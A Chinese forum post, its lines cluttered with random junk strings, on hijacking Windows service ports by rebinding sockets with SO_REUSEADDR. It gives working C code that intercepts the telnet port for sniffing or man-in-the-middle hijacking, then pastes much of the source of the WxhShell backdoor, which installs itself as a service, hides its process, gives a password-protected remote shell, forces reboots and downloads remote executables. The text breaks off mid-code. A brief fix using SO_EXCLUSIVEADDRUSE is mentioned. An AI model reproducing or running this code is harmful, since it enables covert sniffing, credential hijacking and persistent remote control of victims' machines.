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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hzf}_1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h.+,*9T\  
(x*2BEn|  
  saddr.sin_family = AF_INET; S+\Mt+o  
CBgFB-!qpe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,~68~_)  
Se]t;7j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \Jj'60L^  
^ 8Nr %NJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e715)_HD  
Gm?"7R.  
  这意味着什么?意味着可以进行如下的攻击: -:1Gr8  
g5TLX &Bd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ysP/@;jC  
Y&!McM!Jw  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I]S(tx!  
Dqo:X`<bT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YUE 1 '}  
Ns7l-mb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z%-"' Y]  
XzRWY\x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iF2IR {h  
=GS_ G;Dz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q|Tk+JH{5  
5D@Q1   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7!d<>_oH  
pmXWI`s  
  #include Iw-6Z+ 94  
  #include !"qEB2r  
  #include F u=VY{U4  
  #include    ~#xs `@{s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9<#R;eIsv  
  int main() 5Szo5  
  { kys-~&@+  
  WORD wVersionRequested; +GEKg~/4e  
  DWORD ret; ,PtR^" Mf4  
  WSADATA wsaData; ="*C&wB^  
  BOOL val; 91'^--N  
  SOCKADDR_IN saddr; %-zH]"Q$  
  SOCKADDR_IN scaddr; 6I'V XdeN  
  int err; R~ u7;Wv  
  SOCKET s; iDe0 5f1R  
  SOCKET sc; hYQ%|CBXBR  
  int caddsize; ]7ZC>.t  
  HANDLE mt; f;I"tugO  
  DWORD tid;   a*@Z^5f  
  wVersionRequested = MAKEWORD( 2, 2 ); [&59n,R`  
  err = WSAStartup( wVersionRequested, &wsaData ); kxiyF$ 9  
  if ( err != 0 ) { Jrrk$0H^~  
  printf("error!WSAStartup failed!\n"); 2/NWWoKw  
  return -1; ojI"<Q~g  
  } V'#u_`x"D)  
  saddr.sin_family = AF_INET; l`G:@}P>G  
   YXOD fd%L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DWO:  
`o-<,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?~9X:~6\  
  saddr.sin_port = htons(23); =njj.<BO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) biuo.OG]  
  { :Gk~FRA|  
  printf("error!socket failed!\n"); 3W00,f^9  
  return -1; Rla*hc~  
  } rW .0_*  
  val = TRUE; M0\[hps~X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $G.|5sEk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *)sz]g|d  
  { D($UbT-v  
  printf("error!setsockopt failed!\n"); 1Vvx@1  
  return -1; B(NL3WJ  
  } '\qr=0aW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k18V4ATE]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $VNn`0^gF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2o}FB\4^i  
X~b+LG/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;hp; Rd  
  { p{GDW_  
  ret=GetLastError(); .;Yei6H  
  printf("error!bind failed!\n"); p =O1aM  
  return -1; {[#  
  } i oQlC4Y  
  listen(s,2); jt*@,+e|  
  while(1) *]u/,wCB  
  { $^GnY7$!>  
  caddsize = sizeof(scaddr); &WS%sE{p_  
  //接受连接请求 D]y.!D{l2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A>S2BL#=  
  if(sc!=INVALID_SOCKET) l;i u`  
  {  yFv3>\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *GnO&&m'B  
  if(mt==NULL) j(N9%/4u  
  { oZw#Nd   
  printf("Thread Creat Failed!\n"); ~<-h# B  
  break; Cl=ExpX/O  
  } o^J&c_U\3'  
  } HRh".!lxy  
  CloseHandle(mt); @[lr F7`o  
  } )Qp?LECrt  
  closesocket(s); b9jm= U  
  WSACleanup(); }Qo8Xps  
  return 0; .$;GVJ-:5  
  }   1Zzw|@#>o  
  DWORD WINAPI ClientThread(LPVOID lpParam) l1-FL-1  
  { uLht;-`{n  
  SOCKET ss = (SOCKET)lpParam; 4G2V{(@QiZ  
  SOCKET sc; sIe(;%[`  
  unsigned char buf[4096];  su$juI{  
  SOCKADDR_IN saddr; pj`-T"Q  
  long num; v'=APl+_  
  DWORD val; 9IMcp~zX  
  DWORD ret; KYaf7qy]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,GlK_-6>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8 B5%IgA  
  saddr.sin_family = AF_INET; oB@C-(M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jrR~V* :k  
  saddr.sin_port = htons(23); kzT'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gsAO<Fy  
  { H'.d'OE:I  
  printf("error!socket failed!\n"); nEYJ?_55  
  return -1; 6=k^gH[g  
  } W\ckt]'  
  val = 100; y{<7OTA)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bB["Qd}Q  
  { fi)ypv*  
  ret = GetLastError(); [ 0Sd +{Q  
  return -1; g`1i[Iu2  
  } uQlVzN.?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {iRNnh   
  { bhRpYP%x  
  ret = GetLastError(); ?5D7n"jY  
  return -1; e;$s{CNo  
  } 4{_5z7ody  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FpEdwzBb<  
  { n9%rjS$  
  printf("error!socket connect failed!\n"); cVMTT]cj1  
  closesocket(sc); /[p4. FL  
  closesocket(ss); B.o&%5dG  
  return -1; MD,-<X)Qy  
  } [,c>-jA5  
  while(1) Tr8+E;;  
  { MB)xL-jO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1/ HofiIa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9"rATgN1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [": x  
  num = recv(ss,buf,4096,0); 7Vi[I< *  
  if(num>0) iR9iI!+;N  
  send(sc,buf,num,0); nsPM`dz/  
  else if(num==0) #S"=)BZ8L  
  break; ? DPL7  
  num = recv(sc,buf,4096,0); ci!c7 ,'c  
  if(num>0) >\e11OU0Gy  
  send(ss,buf,num,0); ?^hC|IR$  
  else if(num==0) > ,[(icyzn  
  break; #>0nNR[$Y  
  } w/&#UsEIr  
  closesocket(ss); ]k hY8it  
  closesocket(sc); NH{0KZ R  
  return 0 ; uW]n3)7<I  
  } w$pv  
7"gy\_M  
)XD_Yq@E  
========================================================== Mqq7;w@(J  
js{ RaR=  
下边附上一个代码,,WXhSHELL wm}i+ApK  
@A:Xct  
========================================================== 1&dWt_\  
^P[-HA|  
#include "stdafx.h" 6s6[sUf=l&  
|')Z;  
#include <stdio.h> 4u<oe_n  
#include <string.h> NK#f Gz*,(  
#include <windows.h> q|S }5  
#include <winsock2.h> _ ZJP]5  
#include <winsvc.h> -G{}8GM  
#include <urlmon.h> WKN\* N<  
}%%| '8  
#pragma comment (lib, "Ws2_32.lib") HH>]"mv  
#pragma comment (lib, "urlmon.lib") E0GpoG5C  
U5" C"+ 3  
#define MAX_USER   100 // 最大客户端连接数 o0AREZ+I  
#define BUF_SOCK   200 // sock buffer y0Ag px  
#define KEY_BUFF   255 // 输入 buffer hse$M\5  
4B) prQ3  
#define REBOOT     0   // 重启 ^)X^Pcx  
#define SHUTDOWN   1   // 关机 `*WR[c  
q K]Wk+  
#define DEF_PORT   5000 // 监听端口 q$K^E  
*vht</?J  
#define REG_LEN     16   // 注册表键长度 Zd042 %  
#define SVC_LEN     80   // NT服务名长度 lrK5q  
_Nw-|N.  
// 从dll定义API GQq2;%RrF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hMdsR,Iq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J3C"W7 94}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KN5.2pp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tf` ~=fg%  
wF}/7b54  
// wxhshell配置信息 68d(6?OgW  
struct WSCFG { gzxLHPiw  
  int ws_port;         // 监听端口 lr=*Ty(V  
  char ws_passstr[REG_LEN]; // 口令 Y*J,9  
  int ws_autoins;       // 安装标记, 1=yes 0=no evq *&.6\  
  char ws_regname[REG_LEN]; // 注册表键名 7R ;!  
  char ws_svcname[REG_LEN]; // 服务名 {R\"x|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jgb{Tl:r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;4%^4<+3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8MV=?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IX$ $pdQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qHklu2_%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ob-y {x,R  
njX!Ez  
}; Za5*HCo  
B]#0]-ua  
// default Wxhshell configuration ! p458~|  
struct WSCFG wscfg={DEF_PORT, &?v^xAr?B  
    "xuhuanlingzhe", LsoP >vJG  
    1, x%5n&B  
    "Wxhshell", %3|0_  
    "Wxhshell", v~9PS2  
            "WxhShell Service", >^{}Hjt  
    "Wrsky Windows CmdShell Service", PohG y  
    "Please Input Your Password: ", 5f jmr  
  1, y>UM~E  
  "http://www.wrsky.com/wxhshell.exe", }PUQvIGZZ&  
  "Wxhshell.exe" k& 2U&  
    }; glm29hF  
?l &S:` L  
// 消息定义模块 k7'_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =bi:<%"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B~G ?&"]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %@Bl,!BJ,  
char *msg_ws_ext="\n\rExit."; ]%!:'#  
char *msg_ws_end="\n\rQuit."; l q~^&\_#  
char *msg_ws_boot="\n\rReboot..."; nn5tOV}QE  
char *msg_ws_poff="\n\rShutdown..."; }.>( [\ q  
char *msg_ws_down="\n\rSave to "; bx#GOK-  
YKlYo~fGN9  
char *msg_ws_err="\n\rErr!"; n<+g{QHi  
char *msg_ws_ok="\n\rOK!"; 5B< em  
bH%k)  
char ExeFile[MAX_PATH]; E3@G^Y  
int nUser = 0; -W38#_y/\  
HANDLE handles[MAX_USER]; `q@5d&d`j  
int OsIsNt; rVB,[4N  
U-&dn%Sq  
SERVICE_STATUS       serviceStatus; UzTFT:\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R*|y:T,H  
;x^WPY Ej  
// 函数声明 3#<b!Yz  
int Install(void); :m#[V7  
int Uninstall(void); ND $m|V-C  
int DownloadFile(char *sURL, SOCKET wsh); FrT.<3  
int Boot(int flag); <&^P1x<x  
void HideProc(void); A/ZZ[B-  
int GetOsVer(void); j} t"M|`  
int Wxhshell(SOCKET wsl); W5z<+8R  
void TalkWithClient(void *cs); 6Lj=%&  
int CmdShell(SOCKET sock); HI&N&a9C  
int StartFromService(void); n,/eT,48`  
int StartWxhshell(LPSTR lpCmdLine); zW.I7Z0^  
z=%&?V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .,[ NJ:l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B?n 6o|8  
}x!=F<Q!r  
// 数据结构和表定义 Qf|x]x*5  
SERVICE_TABLE_ENTRY DispatchTable[] = Sp/t[\,'  
{ }.*"ezaZw  
{wscfg.ws_svcname, NTServiceMain}, F/O5Z?C?  
{NULL, NULL} ggn C #$  
}; {&7%wZ"t_  
oE/g) m%  
// 自我安装 q9+`pj  
int Install(void) jR1t&UD3Y  
{ 0#Ivo<V  
  char svExeFile[MAX_PATH]; 3mef;!q  
  HKEY key; GO&~)Vh&7  
  strcpy(svExeFile,ExeFile); ,jH<i.2R  
_UP =zW  
// 如果是win9x系统,修改注册表设为自启动 [Ey[A|g  
if(!OsIsNt) { n0)0"S|y1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qe^d6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \G4L+Q/13  
  RegCloseKey(key); }`fFzb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k65V5lb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pzr\<U`  
  RegCloseKey(key); a%nksuP3  
  return 0; Cj/J&PDQ  
    } &,*G}6wa;&  
  } 9!XXuMWU<  
} fI<|]c}P&J  
else { [KcF0%a  
WR|n>i@m  
// 如果是NT以上系统,安装为系统服务 ,]Gi942  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v 79k{<Ln  
if (schSCManager!=0) +jD*Jtb<  
{ sOVbz2 \yb  
  SC_HANDLE schService = CreateService LC>bZ!(i#  
  ( bT>1S2s  
  schSCManager, ^WF/gup\hS  
  wscfg.ws_svcname, !=)b2}e/>  
  wscfg.ws_svcdisp, h/goV  
  SERVICE_ALL_ACCESS, h4,g pV>t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 18eB\4NlD  
  SERVICE_AUTO_START, e'l@M$^  
  SERVICE_ERROR_NORMAL, *`]#ntz9  
  svExeFile, {,X}Btnwp  
  NULL, 90Sp(  
  NULL, XG!s+ShFV  
  NULL, ~bD'QMk  
  NULL, ` W} Bc  
  NULL gm8FmjZtf  
  ); Bj`ZH~T  
  if (schService!=0) "?HDv WP=w  
  { 9ao GptgN  
  CloseServiceHandle(schService); o"gtWAGH  
  CloseServiceHandle(schSCManager); i-FsA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $! R]!s  
  strcat(svExeFile,wscfg.ws_svcname); *Dhy a g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `JAM]qB"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o;"Phc.  
  RegCloseKey(key); V4 8o+O  
  return 0; &_dM2lj{  
    } AuIg=-xR  
  } 78UE?) X"  
  CloseServiceHandle(schSCManager); igO,Ge8}  
} L ]Y6/Q   
} ;^DG P  
!mIr_d2"  
return 1; J/xbMMb   
} Yc3Rq4I'G  
6 k+4R<  
// 自我卸载 G?dxLRy.do  
int Uninstall(void) I-L:;~.  
{ y!u=]BE  
  HKEY key; | k?r1dj%O  
lN~V1(1B  
if(!OsIsNt) { oD.[T)G?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J e"~/+  
  RegDeleteValue(key,wscfg.ws_regname); "n%0L4J  
  RegCloseKey(key); L_O*?aaZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GyQ9we~  
  RegDeleteValue(key,wscfg.ws_regname); $I|6v  
  RegCloseKey(key); ; S~  
  return 0; ?F" mZu  
  } P}~nL  
} {?RVw`g&f  
} N 9cCfB\`  
else { hCpcX"wND  
Nv5)A=6#AA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b]6@ O8  
if (schSCManager!=0) uW0Dm#  
{ NbPNcjPL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bw8[L;~%_  
  if (schService!=0) @8eQ|.q]Q  
  { DIBoIWSuR  
  if(DeleteService(schService)!=0) { `M[o.t  
  CloseServiceHandle(schService); ;ZoEqMv  
  CloseServiceHandle(schSCManager); 7CDp$7v2  
  return 0; ~-f"&@){,  
  } bae\EaS ?  
  CloseServiceHandle(schService); ]x5+v0   
  } *;:dJXR  
  CloseServiceHandle(schSCManager); RdqB^>X  
} -gB9476-  
} X" Upml  
qO{Yr$ V%  
return 1; 4l'`q+^-  
} X'J!.Jj  
"cz'|z`  
// 从指定url下载文件 B'&QLO|  
int DownloadFile(char *sURL, SOCKET wsh) e!=~f%c<N  
{ :Z&<5  
  HRESULT hr; 5@_kGoqd  
char seps[]= "/"; 2D2} *);eW  
char *token; 8Z!Mad  
char *file; txik{' :  
char myURL[MAX_PATH]; K$KVm^`  
char myFILE[MAX_PATH]; fj97_Q=  
Y/ I32@  
strcpy(myURL,sURL); xmi@ XL@t  
  token=strtok(myURL,seps); 4'5|YGQj  
  while(token!=NULL) C`=YGyj=TL  
  { g.pR4Mf=Z  
    file=token; NwyNl  
  token=strtok(NULL,seps); 0.[tEnLZ  
  } )&j@={0  
^[6el_mj  
GetCurrentDirectory(MAX_PATH,myFILE); &%`WXe-`R  
strcat(myFILE, "\\"); m5v IS  
strcat(myFILE, file); $!$,cK Pl5  
  send(wsh,myFILE,strlen(myFILE),0); e'MW"uCP}  
send(wsh,"...",3,0); E[cH/Rm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E>iN>  
  if(hr==S_OK) `|2g &Vn  
return 0; ERy=lP~gV  
else ;0lY_ii  
return 1; WbwwI)1  
U$ 46=F|  
} E=Vp%08(  
Zs4NN 2~  
// 系统电源模块 6qSsr]  
int Boot(int flag) U!(es0rX  
{ 5^K\<+{~B  
  HANDLE hToken; U;j\FE^+>  
  TOKEN_PRIVILEGES tkp; 2u$rloc$b  
R.cR:fA  
  if(OsIsNt) { )<lQJ#L86a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =*R6 O,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3l"8_zLP  
    tkp.PrivilegeCount = 1; FGzKx9I9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \ef:H&r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .TCDv4?  
if(flag==REBOOT) { bjo} 95  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SsPZva  
  return 0; rsq?4+\  
} Y::O*I2  
else { 5YneoM]Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AvPPsN0  
  return 0; H~^)^6)^T  
} =t`cHs29  
  } PQp =bX,  
  else { x[0O*ty-*<  
if(flag==REBOOT) { oEX^U4/=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AVm+ 1  
  return 0; G{I),Y~IF  
} )_1 GPS  
else { L ^r & .N\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XMiu}w!  
  return 0; UOk\fyD2[  
} Kk*8  
} R1D ;  
]Axz}:  
return 1; hf^<lJh~=  
} U`lK'..  
+<j7^AEG  
// win9x进程隐藏模块 7}g4ePYag  
void HideProc(void) <N1wET-  
{ Xjkg7p,HD@  
#f YB4.i~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ?C#E_  
  if ( hKernel != NULL ) fCwE1r*^  
  { ?3p7MjvZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }f]Y^>-Ux  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jn:_2g[  
    FreeLibrary(hKernel); z9*e%$+S  
  } __2<v?\  
Qr9;CVW  
return; Ps74SoD-  
} W*t] d  
bh<;px-  
// 获取操作系统版本 G[A3H> >  
int GetOsVer(void) 3iIy_nWC  
{ nuXL{tg6  
  OSVERSIONINFO winfo; ~/]]H;;^u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); USEb} M`  
  GetVersionEx(&winfo); Fq@o_bI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ca{MJz'  
  return 1; d<6F'F^w.7  
  else N,c!1: b  
  return 0; ?9kC[4G  
} L%T(H<G  
{]< G=]'  
// 客户端句柄模块 80Dn!9j*  
int Wxhshell(SOCKET wsl) E4L?4>V@\  
{ mK[Z#obc=  
  SOCKET wsh; y %Q. (  
  struct sockaddr_in client; x}yl Rg`[  
  DWORD myID; `8ac;b  
W<r<K=`5P  
  while(nUser<MAX_USER) ('tXv"fT  
{ yQiY:SH  
  int nSize=sizeof(client); m$fEk,d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @PEFl"  
  if(wsh==INVALID_SOCKET) return 1; sD:o 2(G*  
,Uz8_r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 94rSB}b.O  
if(handles[nUser]==0) z3jk xWAZ  
  closesocket(wsh); #;]#NqFX  
else mb1mlsE  
  nUser++; #i[:oC6m:  
  } @-'a{hBR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  USV DDqZ  
Io1j%T#ZT  
  return 0; :&IHdf0+  
} ^#Ha H  
s;BMj^x  
// 关闭 socket /MGapmqV9  
void CloseIt(SOCKET wsh) 2 DQVl  
{ -&Z!b!jN  
closesocket(wsh); eDJnzh83  
nUser--; )G/bP!^+(  
ExitThread(0); mn7I# ~  
} BNfj0e5b  
2n:<F9^"  
// 客户端请求句柄 Ti%MOYNCv  
void TalkWithClient(void *cs) rwRZGd *p  
{ ;W,* B.~  
*;fTiL  
  SOCKET wsh=(SOCKET)cs; LwC?t3n  
  char pwd[SVC_LEN]; o,*m,Qc  
  char cmd[KEY_BUFF]; )9YDNVo*-  
char chr[1]; @d WA1tM  
int i,j; ~}.C*;J  
&C9IR,&  
  while (nUser < MAX_USER) { C/k#gLF`  
6}^x#9\  
if(wscfg.ws_passstr) { T}&A-V$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -9b=-K.y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7=P)`@  
  //ZeroMemory(pwd,KEY_BUFF); 6] x6FeuS  
      i=0; w2s`9  
  while(i<SVC_LEN) { kTL{Q0q  
oGcgd$%ZB  
  // 设置超时 <Wn~s=  
  fd_set FdRead; `% 9Y)a/e  
  struct timeval TimeOut; :3D8rqi:  
  FD_ZERO(&FdRead); |]&3*%b@  
  FD_SET(wsh,&FdRead); ,} t%7I  
  TimeOut.tv_sec=8; T|~5dZL  
  TimeOut.tv_usec=0; K *@?BE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'V&g"Pb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G*=HjLmZg  
V%R]jbHZ#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (JbRhcg  
  pwd=chr[0]; 6s@!Yn|?  
  if(chr[0]==0xd || chr[0]==0xa) { ? NoNg^Of  
  pwd=0; Ku[q #_7  
  break; If&))$7u  
  } G#7*O`  
  i++; i+`8$uz  
    } +3))G  
Es[3Ppz  
  // 如果是非法用户,关闭 socket {QEvc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7J9<B5U  
} gW~YB2 $  
) gl{ x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c]*yo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~BI`{/O=  
C^$E#|E9N  
while(1) {  l7t  
nk!uO^  
  ZeroMemory(cmd,KEY_BUFF); tar/no  
9"[,9HN  
      // 自动支持客户端 telnet标准   T>'w]wi  
  j=0; =sW K;`  
  while(j<KEY_BUFF) { 5B~]%_gZr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UR^r>  
  cmd[j]=chr[0]; +`flIG3RV  
  if(chr[0]==0xa || chr[0]==0xd) { 4l0>['K&{  
  cmd[j]=0; 1 Ne;U/  
  break; OsOfo({I_  
  } LDegJer-v  
  j++; p4uzw  
    } VK/L}^=GOO  
m2m ;|rr  
  // 下载文件 ;Q t%>Uo8  
  if(strstr(cmd,"http://")) { n%WjU)<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N(i.E5&9  
  if(DownloadFile(cmd,wsh)) [#!Y7Ede  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eJf]"-  
  else fx>QP?Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,./ n@.na  
  } $mT)<N ;w  
  else { _o w7E\70  
x'-gvbj!  
    switch(cmd[0]) { -V2f.QE%  
  JV,h1/a("  
  // 帮助 5ms]Wbh)  
  case '?': { 3Z~_6P^ +N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~|<'@B!6  
    break; SDbkPx  
  } jjrE8[  
  // 安装 IPTFx )]G  
  case 'i': { <0Y<9+g!  
    if(Install()) .Tl,Ek(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pcIS}+L  
    else pSAtn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x ;SY80D  
    break; <^$ppwk $  
    } !5'4FUlJ  
  // 卸载 cD9U ^SOS  
  case 'r': { J3'q.Pc  
    if(Uninstall()) Y9-F\t=~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HS*Y%*  
    else $U/lm;{%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xxg/vaQt=s  
    break; eU)QoVt  
    } KL!cPnAUu  
  // 显示 wxhshell 所在路径 +tt!xfy  
  case 'p': { wQ/.3V[  
    char svExeFile[MAX_PATH]; "J*>g(H53  
    strcpy(svExeFile,"\n\r"); t>a D;|Y  
      strcat(svExeFile,ExeFile); PZ#up{[o  
        send(wsh,svExeFile,strlen(svExeFile),0); uF[*@N  
    break; b)#rUI|O  
    } +BO kHXk1  
  // 重启 a >-qHX-l  
  case 'b': { FjizPg/|!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y8C8~-&OK  
    if(Boot(REBOOT)) <_k A+&T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $e4N4e2x/  
    else { RO3q!+a$/  
    closesocket(wsh); g'w"U9tjO  
    ExitThread(0); B#`'h~(7  
    } !/a6;:_y  
    break; }/\`'LQ  
    } f.%3G+  
  // 关机 F?jD5M08t/  
  case 'd': { G; exH$y  
